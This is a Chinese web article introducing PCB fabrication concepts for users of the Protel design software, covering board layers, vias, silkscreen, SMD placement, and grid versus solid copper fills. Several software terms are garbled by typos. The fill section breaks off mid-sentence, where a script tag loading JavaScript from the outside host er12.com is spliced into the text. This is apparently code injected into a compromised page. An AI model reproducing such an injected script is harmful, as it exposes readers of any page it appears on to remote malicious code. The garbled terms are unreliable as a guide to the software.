PROTEL中有关PCB工艺的条目简介

不少初学者感到protel软件本身简单易学,容易上手,但较难理解的反倒是软件以外的一些概念和术语。为推广这一强有力的eda工具,国内出版了该软件的使用手册等等,但遗憾的是,这些读物往往都是针对软件使用方法本身而编写的,对读者颇感困惑的pcb 工艺中有关概念鲜有解释。笔者拟就软件涉及到的与pcb工艺的条目。撷摘若干,略加解释,以便人们更好地理解和使用这一软件。要想设计出合乎要求的印板图,必须先了解现代印刷电路板的一般工艺流程,否则将是闭门造车。

  一般而言,印板有单面、双面和多层板之分。单面印板的工艺过程较简单,通常是下料——丝网漏印——腐蚀——去除印料——孔加工——印标记——涂助焊剂——成品。多层印板的工艺较为复杂,即:内层材料处理——定位孔加工——表面清洁处理——制内层走线及图形——腐蚀——层压前处理——外内层材料层压——孔加工——孔金属化——制外层图形——镀耐腐蚀可焊金属——去除感光胶——腐蚀——插头镀金——外形加工——热熔——涂焊剂——成品。双面板的工艺复杂情况介于二者之间,此处不赘述。

  1、“层(layer) ”的概念

  与字处理或其它许多软件中为实现图、文、色彩等的嵌套与合成而引入的“层”的概念有所同,rotel的“层”不是虚拟的,而是印刷板材料本身实实在在的各铜箔层。现今,由于电子线路的元件密集安装。防干扰和布线等特殊要求,一些较新的电子产品中所用的印刷板不仅有上下两面供走线,在板的中间还设有能被特殊加工的夹层铜箔,例如,现在的计算机主板所用的印板材料多在4层以上。这些层因加工相对较难而大多用于设置走线较为简单的电源布线层(如软件中的ground dever和power dever),并常用大面积填充的办法来布线(如软件中的externai p1a11e和fill)。上下位置的表面层与中间各层需要连通的地方用软件中提到的所谓“过孔(via)”来沟通。有了以上解释,就不难理解“多层焊盘”和“布线层设置”的有关概念了。举个简单的例子,不少人布线完成,到打印出来时方才发现很多连线的终端都没有焊盘,其实这是自己添加器件库时忽略了“层”的概念,没把自己绘制封装的焊盘特性定义为”多层(mulii一layer)的缘故。要提醒的是,一旦选定了所用印板的层数,务必关闭那些未被使用的层,免得惹事生非走弯路。

  2、过孔(via)

  为连通各层之间的线路,在各层需要连通的导线的文汇处钻上一个公共孔,这就是过孔。工艺上在过孔的孔壁圆柱面上用化学沉积的方法镀上一层金属,用以连通中间各层需要连通的铜箔,而过孔的上下两面做成普通的焊盘形状,可直接与上下两面的线路相通,也可不连。一般而言,设计线路时对过孔的处理有以下原则:(1)尽量少用过孔,一旦选用了过孔,务必处理好它与周边各实体的间隙,特别是容易被忽视的中间各层与过孔不相连的线与过孔的间隙,如果是自动布线,可在“过孔数量最小化”( via minimiz8tion)子菜单里选择“on”项来自动解决。(2)需要的载流量越大,所需的过孔尺寸越大,如电源层和地层与其它层联接所用的过孔就要大一些。

  3、丝印层(overlay)

  为方便电路的安装和维修等,在印刷板的上下两表面印刷上所需要的标志图案和文字代号等,例如元件标号和标称值、元件外廓形状和厂家标志、生产日期等等。不少初学者设计丝印层的有关内容时,只注意文字符号放置得整齐美观,忽略了实际制出的pcb效果。他们设计的印板上,字符不是被元件挡住就是侵入了助焊区域被抹赊,还有的把元件标号打在相邻元件上,如此种种的设计都将会给装配和维修带来很大不便。正确的丝印层字符布置原则是:”不出歧义,见缝插针,美观大方”。

  4、smd的特殊性

  protel封装库内有大量smd封装,即表面焊装器件。这类器件除体积小巧之外的最大特点是单面分布元引脚孔。因此,选用这类器件要定义好器件所在面,以免“丢失引脚(missing plns)”。另外,这类元件的有关文字标注只能随元件所在面放置。

  5、网格状填充区(external plane )和填充区(fill)

  正如两者的名字那样,网络状填充区是把大面积的铜箔处理成网状的,填充区仅是完整保留铜箔。初学者设计过程中在计算机上往往看不到二者的区别,实质上,只要你把图面放大后就一目了然了。正是由于平常不容易看出二者的区别,所以使用时更不注意对二?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计